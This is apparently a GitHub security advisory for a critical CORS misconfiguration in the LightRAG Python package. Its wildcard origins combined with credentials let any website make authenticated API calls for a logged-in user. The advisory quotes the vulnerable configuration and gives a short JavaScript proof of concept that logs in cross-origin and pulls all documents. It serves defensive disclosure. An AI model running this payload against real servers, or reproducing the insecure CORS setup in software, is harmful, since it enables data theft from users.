GitHub Advisoryadvisory · PyPI

GHSA-6x6h-qqr7-855w LightRAG: CORS Wildcard + Credentials Enables Any-Origin Credentialed Requests

CRITICAL Published 2026-07-20 Modified 2026-07-20 Official page ↗
Aliases
CVE-2026-61736
Ecosystem
PyPI
Packages
lightrag-hku
Severity
Critical
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
Weaknesses
CWE-942
Reviewed
2026-07-20

Affected packages

• PyPI lightrag-hku: < 1.5.4 → fixed in 1.5.4

Description

Summary The server defaults to CORS_ORIGINS=* combined with allow_credentials=True. Starlette's CORSMiddleware echoes the requesting origin in preflight responses when credentials are enabled, meaning every origin is effectively whitelisted for credentialed cross-origin requests. Any malicious website can perform authenticated API calls on behalf of a logged-in user. Details ```python lightrag/api/config.py:639 args.cors_origins = get_env_value("CORS_ORIGINS", "*") # default wildcard lightrag/api/lightrag_server.py:1379 app.add_middleware( CORSMiddleware, allow_origins=["*"], # any origin allow_credentials=True, # credentials — PROBLEM with wildcard allow_methods=["*"], allow_headers=["*"], ) Starlette CORSMiddleware (confirmed in source): preflight_explicit_allow_origin = not allow_all_origins or allow_credentials = not True or True = True → echoes the requesting origin back, not "*" Result: every origin receives Access-Control-Allow-Credentials: true ``` PoC Host on any origin. Open in browser where user is logged in to LightRAG: ```html const TARGET = "http://lightrag-server:9621"; (async () => { // Get victim token (or re-use existing session) const r1 = await fetch(`${TARGET}/login`, { method: "POST", credentials: "include", headers: {"Content-Type": "application/x-www-form-urlencoded"}, body: "username=victim&password=known_pass" }); const { access_token } = await r1.json(); // Exfiltrate all documents const docs = await (await fetch(`${TARGET}/documents`, { credentials: "include", headers: { Authorization: `Bearer ${access_token}` } })).json(); console.log("STOLEN DOCS:", docs); })(); ``` Impact Permissive cross-domain policy (CWE-942). Any website visited by an authenticated LightRAG user can silently make authenticated API requests, exfiltrating all documents and knowledge graph data or performing destructive actions such as deleting the entire document store.

Related

Alias · CVE (1)

  • CVE-2026-61736 LightRAG provides simple and fast retrieval-augmented generation. vulnerability

Weakness · CWE (1)

  • CWE-942 Permissive Cross-domain Security Policy with Untrusted Domains weakness

References